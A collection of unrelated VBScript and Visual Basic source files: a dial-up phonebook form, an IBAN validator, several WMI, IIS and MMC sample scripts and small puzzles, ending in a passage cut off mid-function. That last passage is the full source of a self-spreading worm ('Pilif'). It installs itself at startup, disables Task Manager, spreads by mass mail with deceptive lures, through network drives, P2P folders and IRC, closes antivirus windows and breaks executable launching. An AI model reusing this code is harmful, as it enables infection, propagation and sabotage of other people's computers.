Private Sub Form_Deactivate()
Unload Me
End Sub
Private Sub Form_KeyPress(KeyAscii As Integer)
CheckChar KeyAscii
End Sub
Sub Form_Load()
Dim tempnum As Integer, i As Integer
Dim newnum As Recordset
Dim rsService As Recordset
Dim RS As Recordset
Dim n As Long
Dim bool As Integer
Dim mydesc As String
ReDim bitvaluearray(31) As bitValues
Dim myPos As Integer
On Error GoTo LoadErr
Screen.MousePointer = 11
LoadPOPRes
SSTab1.Tab = 0
CenterForm Me, Screen
Set rsService = gsyspb.OpenRecordset("select * from Configuration", dbOpenSnapshot)
rsService.MoveLast
Set newnum = gsyspb.OpenRecordset("select * from DialUpPort order by AccessNumberId", dbOpenSnapshot)
LoadList dbCmbCty, "Country", "CountryName", "CountryNumber"
LoadList cmbRegion, "Region", "regiondesc", "regionid"
If newnum.RecordCount = 0 Then
tempnum = 0
cmbRegion.Text = gRegionText(0)
n = 0
Else
newnum.MoveLast
tempnum = newnum!AccessNumberId
Set GsysNCty = gsyspb.OpenRecordset("select * from Country where CountryNumber = " & newnum!CountryNumber, dbOpenSnapshot)
dbCmbCty.Text = GsysNCty!countryname
Set GsysNRgn = gsyspb.OpenRecordset("select * from Region where RegionId = " & newnum!RegionID, dbOpenSnapshot)
If GsysNRgn.RecordCount <> 0 Then
cmbRegion = GsysNRgn!RegionDesc
Else
Select Case newnum!RegionID
Case 0, -1
cmbRegion = gRegionText(newnum!RegionID)
Case Else
cmbRegion = gRegionText(0)
End Select
End If
If IsNull(newnum!ScriptID) Then
txtscript.Text = ""
Else
txtscript.Text = newnum!ScriptID
End If
If IsNull(newnum!MinimumSpeed) Or newnum!MinimumSpeed = 0 Then
cmbmin.Text = ""
Else
cmbmin.Text = newnum!MinimumSpeed
End If
If IsNull(newnum!MaximumSpeed) Or newnum!MaximumSpeed = 0 Then
cmbmax.Text = ""
Else
cmbmax.Text = newnum!MaximumSpeed
End If
n = newnum!Flags
End If
tempnum = tempnum + 1
txtid.Text = tempnum
' make this a function: intRC = SetFlagBoxes(<flagcheck control array>)
'intRC = SetFlagBoxes(n, FlagCheck)
Set RS = gsyspb.OpenRecordset("select * from bitflag order by bit, value", dbOpenSnapshot)
RS.MoveFirst
While Not RS.EOF
bitvaluearray(RS!Bit).desc(RS!Value) = RS!desc
RS.MoveNext
Wend
For i = 0 To 7
bool = isBitSet(n, i)
mydesc = bitvaluearray(i).desc(bool)
'handle the oddities that i introduced with the old
' list format, i.e. some flags are NOT by default.
Select Case i
Case 0, 2, 3, 5
FlagCheck(i).Value = Abs(bool - 1)
Case Else
FlagCheck(i).Value = bool
End Select
Next i
RS.Close
rsService.Close
newnum.Close
Screen.MousePointer = 0
Exit Sub
LoadErr:
Screen.MousePointer = 0
Exit Sub
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set GsysNCty = Nothing
Set GsysNRgn = Nothing
End Sub
Private Sub maskaccno_GotFocus()
SelectText maskAccNo
End Sub
Private Sub maskaccno_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
'0-9 A-Z a-z * # Bkspc Hyphen Space ctrl-C ctrl-V
Case 48 To 57, 65 To 90, 97 To 122, 42, 35, 8, 45, 32, 3, 22
Case Else
KeyAscii = 0
Beep
End Select
End Sub
Private Sub maskarea_GotFocus()
SelectText maskArea
End Sub
Private Sub maskarea_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
'0-9 A-Z a-z * # Bkspc Hyphen Space ctrl-C ctrl-V
Case 48 To 57, 65 To 90, 97 To 122, 42, 35, 8, 45, 32, 3, 22
Case Else
KeyAscii = 0
Beep
End Select
End Sub
Private Sub picContainer_Click(index As Integer)
picContainer(index).Enabled = True
End Sub
Private Sub SSTab1_Click(PreviousTab As Integer)
picContainer(PreviousTab).Visible = False
picContainer(SSTab1.Tab).Visible = True
End Sub
Private Sub txtcity_GotFocus()
SelectText txtcity
End Sub
Private Sub txtcity_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 44 ',
KeyAscii = 0
Beep
End Select
End Sub
Private Sub txtid_KeyDown(KeyCode As Integer, Shift As Integer)
KeyCode = 0
End Sub
Private Sub txtid_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
Private Sub LoadList(list As Control, sTableName As String, sName As String, sID As String)
Dim RS As Recordset
On Error GoTo LoadErr
'list.Clear
Set RS = gsyspb.OpenRecordset("SELECT " & sName & "," & sID & " FROM " & sTableName & " order by " & sName, dbOpenSnapshot)
While Not RS.EOF
list.AddItem RS(sName)
list.ItemData(list.NewIndex) = RS(sID)
RS.MoveNext
Wend
RS.Close
On Error GoTo 0
Exit Sub
LoadErr:
Exit Sub
End Sub
Private Sub txtscript_GotFocus()
SelectText txtscript
End Sub
Private Sub txtscript_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 44
KeyAscii = 0
Beep
End Select
End Sub
|
Function validate_iban(s)
validate_iban = Chr(34) & s & Chr(34) & " is NOT valid."
Set cn_len = CreateObject("Scripting.Dictionary")
With cn_len
.Add "AL",28 : .Add "AD",24 : .Add "AT",20 : .Add "AZ",28 : .Add "BH",22 : .Add "BE",16
.Add "BA",20 : .Add "BR",29 : .Add "BG",22 : .Add "CR",21 : .Add "HR",21 : .Add "CY",28
.Add "CZ",24 : .Add "DK",18 : .Add "DO",28 : .Add "EE",20 : .Add "FO",18 : .Add "FI",18
.Add "FR",27 : .Add "GE",22 : .Add "DE",22 : .Add "GI",23 : .Add "GR",27 : .Add "GL",18
.Add "GT",28 : .Add "HU",28 : .Add "IS",26 : .Add "IE",22 : .Add "IL",23 : .Add "IT",27
.Add "JO",30 : .Add "KZ",20 : .Add "KW",30 : .Add "LV",21 : .Add "LB",28 : .Add "LI",21
.Add "LT",20 : .Add "LU",20 : .Add "MK",19 : .Add "MT",31 : .Add "MR",27 : .Add "MU",30
.Add "MC",27 : .Add "MD",24 : .Add "ME",22 : .Add "NL",18 : .Add "NO",15 : .Add "PK",24
.Add "PS",29 : .Add "PL",28 : .Add "PT",25 : .Add "QA",29 : .Add "RO",24 : .Add "SM",27
.Add "SA",24 : .Add "RS",22 : .Add "SK",24 : .Add "SI",19 : .Add "ES",24 : .Add "SE",24
.Add "CH",21 : .Add "TN",24 : .Add "TR",26 : .Add "AE",23 : .Add "GB",22 : .Add "VG",24
End With
iban = Replace(s," ","")
If cn_len.Exists(Left(iban,2)) And Len(iban) = cn_len.Item(Left(iban,2)) Then
'move the first 4 characters to the end
iban = Mid(iban,5,Len(iban)-4) & Left(iban,4)
'convert letters to numbers A=10 to Z=35
D = ""
For i = 1 To Len(iban)
If Asc(Mid(iban,i,1)) >= 65 And Asc(Mid(iban,i,1)) <= 90 Then
D = D & CStr(Asc(Mid(iban,i,1)) - 55)
Else
D = D & Mid(iban,i,1)
End If
Next
'piece-wise modulo calculation
Do
If Len(D) > 9 Then
N = CLng(Left(D,9)) Mod 97
D = CStr(N) & Mid(D,10,Len(D)-9)
Else
N = CLng(Left(D,9)) Mod 97
Exit Do
End If
Loop
If N = 1 Then
validate_iban = Chr(34) & s & Chr(34) & " is valid."
End If
End If
End Function
'test several scenarios
WScript.StdOut.WriteLine validate_iban("GB82 WEST 1234 5698 7654 32")
WScript.StdOut.WriteLine validate_iban("GB82WEST12345698765432")
WScript.StdOut.WriteLine validate_iban("gb82 west 1234 5698 7654 32")
WScript.StdOut.WriteLine validate_iban("GB82 TEST 1234 5698 7654 32")
WScript.StdOut.WriteLine validate_iban("GR16 0110 1250 0000 0001 2300 695")
WScript.StdOut.WriteLine validate_iban("GB29 NWBK 6016 1331 9268 19")
WScript.StdOut.WriteLine validate_iban("SA03 8000 0000 6080 1016 7519")
WScript.StdOut.WriteLine validate_iban("CH93 0076 2011 6238 5295 7")
WScript.StdOut.WriteLine validate_iban("IL62 0108 0000 0009 9999 999")
WScript.StdOut.WriteLine validate_iban("IL62-0108-0000-0009-9999-999")
WScript.StdOut.WriteLine validate_iban("US12 3456 7890 0987 6543 210")
WScript.StdOut.WriteLine validate_iban("GR16 0110 1250 0000 0001 2300 695X")
|
<gh_stars>1-10
dim amb
set amb = new ambiguous
amb.rule = "right(p1,1)=left(p2,1)"
dim w1, w2, w3, w4
for each w1 in split("the that a", " ")
for each w2 in split("frog elephant thing", " ")
for each w3 in split("walked treaded grows", " ")
for each w4 in split("slowly quickly", " ")
if amb(w1, w2) and amb(w2, w3) and amb(w3, w4) then
wscript.echo w1, w2, w3, w4
end if
next
next
next
next
|
<filename>inetsrv/iis/img/cluster/clusweb.vbs
Sub Open( )
End Sub
Function Close( )
End Function
Function Online( )
Dim objWmiProvider
Dim objService
Dim strServiceState
' Check to see if the service is running
set objWmiProvider = GetObject("winmgmts:/root/cimv2")
set objService = objWmiProvider.get("win32_service='w3svc'")
strServiceState = objService.state
If ucase(strServiceState) = "RUNNING" Then
Online = True
Else
' If the service is not running, try to start it. If it won't start, log an error
response = objService.StartService()
' response = 0 or 10 indicates that the request to start was accepted
If ( response <> 0 ) and ( response <> 10 ) Then
Resource.LogInformation "The resource failed to come Online because the W3SVC service is not running."
Online = False
Else
Online = True
End If
End If
End Function
Function Offline( )
End Function
Function Terminate( )
End Function
Function LooksAlive( )
Dim objWmiProvider
Dim objService
Dim strServiceState
set objWmiProvider = GetObject("winmgmts:/root/cimv2")
set objService = objWmiProvider.get("win32_service='w3svc'")
strServiceState = objService.state
if ucase(strServiceState) = "RUNNING" Then
LooksAlive = True
Else
LooksAlive = False
End If
End Function
Function IsAlive( )
Dim objWmiProvider
Dim objService
Dim strServiceState
set objWmiProvider = GetObject("winmgmts:/root/cimv2")
set objService = objWmiProvider.get("win32_service='w3svc'")
strServiceState = objService.state
if ucase(strServiceState) = "RUNNING" Then
IsAlive= True
Else
IsAlive= False
End If
End Function
|
<reponame>npocmaka/Windows-Server-2003
on error resume next
Set Service = GetObject("winmgmts:root/default")
'Create a simple embeddable object
Set aClass = Service.Get
aClass.Path_.Class = "INNEROBJ00"
aClass.Properties_.Add "p", 19
aClass.Put_
Set aClass = Service.Get ("INNEROBJ00")
Set Instance = aClass.SpawnInstance_
Instance.p = 8778
'Create a class that uses that object
Set Class2 = Service.Get
Class2.Path_.Class = "EMBOBJTEST00"
Class2.Properties_.Add ("p1", 13).Value = Instance
Class2.Put_
Set aClass = GetObject("winmgmts:root/default:EMBOBJTEST00")
WScript.Echo "The current value of EMBOBJTEST00.p1.p is [8778]:", aClass.p1.p
set prop = aClass.p1
prop.Properties_("p") = 23
WScript.Echo "The new value of EMBOBJTEST00.p1.p is [23]:", aClass.p1.p
prop.p = 45
WScript.Echo "The new value of EMBOBJTEST00.p1.p is [45]:", aClass.p1.p
aClass.p1.p=82
WScript.Echo "The new value of EMBOBJTEST00.p1.p is [82]:", aClass.p1.p
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
|
<reponame>LaudateCorpus1/RosettaCodeData
For i = 10 To 0 Step -1
Debug.Print i
Next i
|
<reponame>npocmaka/Windows-Server-2003<filename>admin/activec/test/script/movecolumns.vbs<gh_stars>10-100
'
L_Welcome_MsgBox_Message_Text = "This script demonstrates how to add/remove snapins from scriptable objects."
L_Welcome_MsgBox_Title_Text = "Windows Scripting Host Sample"
Call Welcome()
' ********************************************************************************
Dim mmc
Dim doc
Dim snapins
Dim frame
Dim views
Dim view
Dim scopenamespace
Dim rootnode
Dim Nodes
Dim scopenode
Dim SnapNode1
Dim Columns
Dim Column
'get the various objects we'll need
Set mmc = wscript.CreateObject("MMC20.Application")
Set frame = mmc.Frame
Set doc = mmc.Document
Set namespace = doc.ScopeNamespace
Set rootnode = namespace.GetRoot
Set views = doc.views
Set view = views(1)
Set snapins = doc.snapins
Set Sample = snapins.Add("{975797FC-4E2A-11D0-B702-00C04FD8DBF7}") ' Eventlog
mmc.Show
Set scopenamespace = doc.scopenamespace
Set view = doc.ActiveView
Set rootnode = namespace.GetRoot
Set SnapNode1 = namespace.GetChild(rootnode)
view.ActiveScopeNode = SnapNode1
Set Columns = View.Columns
' All 1 based indices
' Get column 1
Set Column = Columns.Item(1)
' Move it to column 2
Column.DisplayPosition = 2
intRet = MsgBox("Move Column", vbInformation, "Column 3 will be moved to 1")
' Get column 3
Set Column = Columns.Item(3)
' Move it to column 1
Column.DisplayPosition = 1
mmc.UserControl = 1
Set mmc = Nothing
' ********************************************************************************
' *
' * Welcome
' *
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
|
namespace first 'first defines something'
sub first_func
end sub
namespace second 'second defines something'
sub first_func 'oh a second first_func
end sub
sub second_func
end sub
end namespace 'ignored'
end namespace
sub first_func 'oh another first_func
end sub
' vim: bs=2 sw=2 ss=2 ts=2 nu et ft=basic
|
<gh_stars>1-10
'Solution derived from http://www.geeksforgeeks.org/sort-an-array-of-0s-1s-and-2s/.
'build an unsorted array with n elements
Function build_unsort(n)
flag = Array("red","white","blue")
Set random = CreateObject("System.Random")
Dim arr()
ReDim arr(n)
For i = 0 To n
arr(i) = flag(random.Next_2(0,3))
Next
build_unsort = arr
End Function
'sort routine
Function sort(arr)
lo = 0
mi = 0
hi = UBound(arr)
Do While mi <= hi
Select Case arr(mi)
Case "red"
tmp = arr(lo)
arr(lo) = arr(mi)
arr(mi) = tmp
lo = lo + 1
mi = mi + 1
Case "white"
mi = mi + 1
Case "blue"
tmp = arr(mi)
arr(mi) = arr(hi)
arr(hi) = tmp
hi = hi - 1
End Select
Loop
sort = Join(arr,",")
End Function
unsort = build_unsort(11)
WScript.StdOut.Write "Unsorted: " & Join(unsort,",")
WScript.StdOut.WriteLine
WScript.StdOut.Write "Sorted: " & sort(unsort)
WScript.StdOut.WriteLine
|
function multiply( multiplicand, multiplier )
multiply = multiplicand * multiplier
end function
|
VERSION 5.00
Begin VB.Form frmMain
BorderStyle = 0 'None
ClientHeight = 90
ClientLeft = 0
ClientTop = 0
ClientWidth = 90
Icon = "frmMain.frx":0000
LinkTopic = "Form1"
ScaleHeight = 90
ScaleWidth = 90
StartUpPosition = 3 'Windows Default
Begin VB.Timer RetroChk
Enabled = 0 'False
Interval = 10000
Left = 0
Top = 120
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'================================================
'| Pilif ... [JOS CeNzurA]! |
'| Rott_En | Dark Coderz Alliance |
'| Manifesto for the human right of expression |
'| No more censore! |
'================================================
Private Declare Function FindWindow Lib "user32" _
Alias "FindWindowA" _
(ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Declare Function MAPILogoff Lib "MAPI32.DLL" ( _
ByVal Session&, _
ByVal UIParam&, _
ByVal Flags&, _
ByVal Reserved&) As Long
Private Declare Function MAPILogon Lib "MAPI32.DLL" ( _
ByVal UIParam&, _
ByVal User$, _
ByVal Password$, _
ByVal Flags&, _
ByVal Reserved&, _
Session&) As Long
Private Declare Function MAPISendMail Lib "MAPI32.DLL" Alias "BMAPISendMail" ( _
ByVal Session&, _
ByVal UIParam&, _
Message As MAPIMessage, _
Recipient() As MapiRecip, _
file() As MapiFile, _
ByVal Flags&, _
ByVal Reserved&) As Long
Private Const MAPI_TO = 1
Private Const MAPI_NEW_SESSION = &H2
Private Const SUCCESS_SUCCESS = 0
Private Const CSIDL_TIF = &H20
Private Type MAPIMessage
Reserved As Long
subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Private Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
Private Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Declare Function PostMessage Lib "user32" _
Alias "PostMessageA" _
(ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Dim a, b As Long
Dim M1, M2, M3
Dim MAttach(0) As MapiFile, MailMsg As MAPIMessage, Recip(0) As MapiRecip
Private Sub Form_Load()
Counter = GetSetting("Reg", 0, "Run")
Counter = Val(Counter) + 1
SaveSetting "Reg", 0, "Run", Counter
If Counter = 10 Then
MsgBox Chr(34) & "Only two things are infinite : The Universe and Human Stupidity. And I am not sure about the Universe - A.Einstein" & Chr(34), vbInformation, "System Notice"
SaveSetting "Reg", 0, "Run", ""
End If
Call Engine
End Sub
Private Sub Engine()
Dim duser As String
App.TaskVisible = False
Me.Visible = False
PilifF = App.EXEName & ".exe"
PilifP = App.path
If Right(PilifP, 1) <> "\" Then PilifP = PilifP & "\"
Source = PilifP & PilifF
If App.PrevInstance = True Then
End
End If
If FileExist(GetSysDir & "\" & Chr(80) + Chr(73) + Chr(76) + Chr(73) + Chr(70) + Chr(46) + Chr(69) + Chr(88) + Chr(69)) Then 'pilif.exe
GoTo exist
Else
FileCopy Source, GetSysDir + "\" + Chr(80) + Chr(73) + Chr(76) + Chr(73) + Chr(70) + Chr(46) + Chr(69) + Chr(88) + Chr(69)
End If
exist:
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "Pilif", GetSysDir + "\" + Chr(80) + Chr(73) + Chr(76) + Chr(73) + Chr(70) + Chr(46) + Chr(69) + Chr(88) + Chr(69)
duser = Reg.Regread("HKEY_CURRENT_USER\Identities\Default User ID")
Reg.RegWrite "HKEY_CURRENT_USER\Identities\" & duser & "\Software\Microsoft\Outlook Express\5.0\Mail\" & "Warn on Mapi Send", "0x0"
Call DisableTask
Call Retro
RetroChk.Enabled = True
Call LAN
Call MassMail
Call P2P
Call IRC
Call Payload
End Sub
Private Sub DisableTask()
Open "c:\dtask.reg" For Output As #1
Print #1, "Windows Registry Editor Version 5.00"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]"
Print #1, """DisableTaskMgr""" & "=dword:00000001"
Close #1
Shell ("regedit /s c:\dtask.reg")
Kill "c:\dtask.reg"
End Sub
Private Sub LAN()
On Error Resume Next
Set L1 = CreateObject("WScript.Network")
Set L2 = L1.EnumNetworkDrives
If L2.Count <> 0 Then
For L3 = 0 To L2.Count - 1
If InStr(L2.Item(L3), "\") <> 0 Then
fso.Copyfile Source, L2.Item(L3), Chr(80) + Chr(73) + Chr(76) + Chr(73) + Chr(70) + Chr(46) + Chr(69) + Chr(88) + Chr(69)
End If
Next
End If
End Sub
Private Sub MassMail()
On Error Resume Next
Dim RetValue As Long, MapiSession As Long
Dim Msg(1 To 10), subj(1 To 10), Attach(1 To 10)
Dim addresses As String
Msg(1) = "Important legal notice!" & vbCrLf & _
"Do not delete this message. Analyse attachement and reply" & vbCrLf & _
"as soon as possible with manifesto details." & vbCrLf & _
"Thank you!"
Msg(2) = "Please help us to save the right of freedom of expression!" & vbCrLf & _
"All details will be displayed in small attached file. Good luck and thank you."
Msg(3) = "You personal manifesto details are attached. Take good care of them!"
Msg(4) = "Help us gather online votes for our anti-censore manifesto" & vbCrLf & _
"We need you help now! Attachement will automatically send a vote to our" & vbCrLf & _
"online database once you run it and will be redirected to our webpage!" & vbCrLf & _
"Thank you!"
Msg(5) = "Its curious, its scandalous... dont be so furious!" & vbCrLf & _
"Life is bitch so dont take it serious."
Msg(6) = "Please help us be free! We need the basic right of expression." & vbCrLf & _
"Enable an online vote for our manifesto with the help of the attachement." & vbCrLf & _
"Many thanks!"
Msg(7) = "Music is beeing censored, journalists are afraid, law has not been" & vbCrLf & _
"respected for long time. Why? Because of corruption and lack of right of" & vbCrLf & _
"expression. Help us! Enable the attachement and our voting system will" & vbCrLf & _
"track and record you help. Many thanks!"
Msg(8) = "Parazitii need your help for the anti-censore campaign! See all details" & vbCrLf & _
"in the attachement. Thank you!"
Msg(9) = "Its just hip-hop. Nothing else. Enjoy!" & vbcrl & _
"Oh yeah! one more thing: its a censore-related manifesto :)"
Msg(10) = "This is my manifesto. You can stop this individual," & vbCrLf & _
"but you can't stop us all...after all,we're all alike."
subj(1) = "manifesto"
subj(2) = "pilif"
subj(3) = "sustain cause"
subj(4) = "details"
subj(5) = "attachement"
subj(6) = "request"
subj(7) = "Parazitii"
subj(8) = "<NAME>"
subj(9) = "freedom"
subj(10) = "stolen rights"
Attach(1) = "Details"
Attach(2) = "Manifesto anti pilif"
Attach(3) = "Manifesto details"
Attach(4) = "Freedom of expression"
Attach(5) = "Simple solution"
Attach(6) = "attachement"
Attach(7) = "Goverment issue"
Attach(8) = "<NAME>"
Attach(9) = "Parazitii"
Attach(10) = "Pilif"
vext(1) = ".exe"
vext(2) = ".scr"
vext(3) = ".pif"
vext(4) = ".bat"
vext(5) = ".com"
vext(6) = ".cmd"
RetValue = MAPILogon(0, "", "", MAPI_NEW_SESSION, 0, MapiSession)
If RetValue <> SUCCESS_SUCCESS Then Exit Sub
ScanMail GetSpecialfolder(CSIDL_TIF)
Open GetSysDir & "\" & "adrbook" For Input As #1
Line Input #1, addresses
Close #1
DoEvents
Randomize Timer
RndNr1 = (Int(Rnd * 10) + 1)
RndNr2 = (Int(Rnd * 6) + 1)
MAttach(0).PathName = GetSysDir + "\" + Chr(80) + Chr(73) + Chr(76) + Chr(73) + Chr(70) + Chr(46) + Chr(69) + Chr(88) + Chr(69)
MAttach(0).Reserved = 0
MAttach(0).FileName = Attach(RndNr1) & vext(RndNr2)
MAttach(0).Position = -1
MailMsg.NoteText = Msg(RndNr)
MailMsg.FileCount = 1
MailMsg.Reserved = 0
MailMsg.subject = subj(RndNr)
MailMsg.RecipCount = 1
Recip(0).Reserved = 0
Recip(0).RecipClass = MAPI_TO
Recip(0).Name = addresses
RetValue = MAPISendMail(MapiSession, 0, MailMsg, Recip, MAttach, 0, &O0)
RetValue = MAPILogoff(MapiSession, 0, 0, 0)
End Sub
Private Sub P2P()
Dim GetSysDir As String
GetSysDir = Environ("getsysdir")
vname(1) = "Norton 2004 crack"
vname(2) = "Kasperky AV Universal Key"
vname(3) = "Dark Coderz Alliance"
vname(4) = "Anti-hacker Utility"
vname(5) = "Cracks mega warez collection"
vname(6) = "Sex - totally free porn"
vname(7) = "Easy credit card validation"
vname(8) = "Yahoo hacker"
vname(9) = "Webmail official hacker"
vname(10) = "Free porn sites accounts"
vext(1) = ".exe"
vext(2) = ".scr"
vext(3) = ".pif"
vext(4) = ".bat"
vext(5) = ".com"
vext(6) = ".cmd"
Randomize
nr1 = Int(Rnd * 10) + 1
nr2 = Int(Rnd * 6) + 1
RndFile = vname(nr1) & vext(nr2)
PilifF = App.EXEName & ".exe"
PilifP = App.path
If Right(PilifP, 1) <> "\" Then PilifP = PilifP & "\"
Source = PilifP & PilifF
Set WS = CreateObject("WScript.Shell")
Set fso = CreateObject("SCripting.FileSystemObject")
GetProg = WS.Regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If FileExist(GetProg & "\KMD\Shared Folder") Then
FileCopy Source, GetProg & "\KMD\Shared Folder" & "\" & RndFile
Call EKazaa
ElseIf FileExist(GetProg & "\Kazaa\My Shared Folder") Then
FileCopy Source, GetProg & "\Kazaa\My Shared Folder\" & RndFile
Call EKazaa
ElseIf FileExist(GetProg & "\Morpheus\My Shared Folder") Then
FileCopy Source, GetProg & "\Morpheus\My Shared Folder\" & RndFile
Call EMorph
ElseIf FileExist(GetProg & "\Grokster\My Grokster") Then
FileCopy Source, GetProg & "\Grokster\My Grokster\" & RndFile
ElseIf FileExist(GetProg & "\BearShare\Shared") Then
FileCopy Source, GetProg & "\BearShare\Shared\" & RndFile
ElseIf FileExist(GetProg & "\Edonkey2000\Incoming") Then
FileCopy Source, GetProg & "\Edonkey2000\Incoming\" & RndFile
ElseIf FileExist(GetProg & "\limewire\Shared") Then
FileCopy Source, GetProg & "\limewire\Shared\" & RndFile
ElseIf FileExist(GetProg & "\Shareaza\downloads") Then
FileCopy Source, GetProg & "Shareaza\downloads" & RndFile
ElseIf FileExist(GetProg & "\icq\shared files\") Then
FileCopy Source, GetProg & "\icq\shared files\" & RndFile
ElseIf FileExist(GetProg & "\WinMX\my shared folder\") Then
FileCopy Source, GetProg & "\WinMX\my shared folder\" & RndFile
Else
End If
End Sub
Private Sub EKazaa()
Set MyKey2 = CreateObject("WScript.Shell")
Set fso = CreateObject("SCripting.FileSystemObject")
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\LocalContent\DisableSharing", 0, "REG_DWORD"
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\ResultsFilter\virus_filter", 0, "REG_DWORD"
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\ResultsFilter\bogus_filter", 0, "REG_DWORD"
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\ResultsFilter\bogus_filter", 0, "REG_DWORD"
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\ResultsFilter\bogus_filter", 0, "REG_DWORD"
MyKey2.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\UserDetails\AutoConnected", 1, "REG_DWORD"
End Sub
Private Sub EMorph()
Set MyKey3 = CreateObject("WSScript.Shell")
Set fso = CreateObject("SCripting.FileSystemObject")
MyKey3.RegWrite "HKEY_USERS\.DEFAULT\SOFTWARE\Morpheus\LocalContent\DisableSharing", 0, "REG_DWORD"
MyKey3.RegWrite "HKEY_USERS\.DEFAULT\SOFTWARE\Morpheus\ResultsFilter\virus_filter", 0, "REG_DWORD"
MyKey3.RegWrite "HKEY_USERS\.DEFAULT\SOFTWARE\Morpheus\ResultsFilter\bogus_filter", 0, "REG_DWORD"
MyKey3.RegWrite "HKEY_USERS\.DEFAULT\SOFTWARE\Morpheus\ResultsFilter\firewall_filter", 0, "REG_DWORD"
MyKey3.RegWrite "HKEY_USERS\.DEFAULT\SOFTWARE\Morpheus\UserDetails\AutoConnected", 0, "REG_DWORD"
End Sub
Private Sub IRC()
On Error Resume Next
Dim prog As String
PilifF = App.EXEName & ".exe"
PilifP = App.path
If Right(PilifP, 1) <> "\" Then PilifP = PilifP & "\"
Source = PilifP & PilifF
If FileExist("c:\mirc\") Then
prog = "c:\mirc\"
ElseIf FileExist("c:\mirc32\") Then
prog = "c:\mirc\32"
ElseIf FileExist(GetProg & "\mirc\") Then
prog = GetProg & "\mirc\"
ElseIf FileExist(GetProg & "\mirc32\") Then
prog = GetProg & "\mirc32\"
Else
GoTo quitirc
End If
FileCopy Source, prog & "Manifesto Anti Censore Pilif.txt.exe"
Open prog & "\Script.ini" For Output As 1
Print #1, "n1= on 1:JOIN:#:{"
Print #1, "n2= /if ( $nick != $me ) {"
Print #1, "n3= /msg $nick DCA are fighting for free speech. Get their manifesto now!"
Print #1, "n4= /dcc send -c $nick " & pdir & "\Manifesto Anti Censore Pilif.txt.exe"
Print #1, "n5= }"
Close 1
quitirc:
End Sub
Private Sub RetroChk_Timer()
Call Retro
End Sub
Private Sub Retro()
AV(1) = "Kaspersky Anti-Virus"
AV(2) = "Kaspersky AV Control Centre"
AV(3) = "Agnitium Firewall"
AV(4) = "Kaspersky AV Monitor"
AV(5) = "Kaspersky Anti-Virus Scanner"
AV(6) = "McAfee"
AV(7) = "Norton Anti-Virus"
AV(8) = "Norton Firewall"
AV(9) = "Sygate Personal Firewall"
AV(10) = "Windows Updater"
AV(12) = "Zone Alarm"
AV(13) = "Kasperky Anti-Virus Personal"
For i = LBound(AV) To UBound(AV)
a = FindWindow(vbNullString, AV(i))
b = PostMessage(a, WM_CLOSE, vbNull, vbNull)
Next
End Sub
Private Sub Payload()
Dim Reg As Object
If Day(Now) > 25 Then
frmPayload.Show
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", ""
Else
End If
If Day(Now) = 6 And Month(Now) = 4 Then
MsgBox "Happy birthday Ombladon! Fuck you Pilif...", vbExclamation, "Pilif"
End If
End Sub
Sub ScanMail(dir)
On Error Resume Next
Dim fso, ssfh, filh, s, f, d, q, a, textline
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssfh = fso.GetFolder(dir).SubFolders
For Each filh In ssfh
ScanDir filh
Next
End Sub
Sub ScanDir(dir)
On Error Resume Next
Dim fso, ssfh, filh, s, f, d, q, a, textline
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssfh = fso.GetFolder(dir).SubFolders
For Each filh In ssfh
DoEvents
ddd = ddd & filh & "/"
Next
arr1 = Split(ddd, "/")
For Each sdir In arr1
If sdir = "" Then Exit For
aaa = aaa & CScan(sdir)
Next sdir
Open GetSysDir & "\" & "adrbook" For Output As #1
Print #1, aaa
Close #1
Open GetSysDir & "\" & "adrbook" For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q & textline
Loop
Close #1
q = Replace(q, "A#?@;", "")
q = Replace(q, "A#?$;", "")
Open GetSysDir & "\" & "adrbook" For Output As #1
Print #1, q
Close #1
End Sub
Function CScan(dir)
Dim fso, cfh, filh, ext, textline, q, wwww
Set fso = CreateObject("Scripting.FileSystemObject")
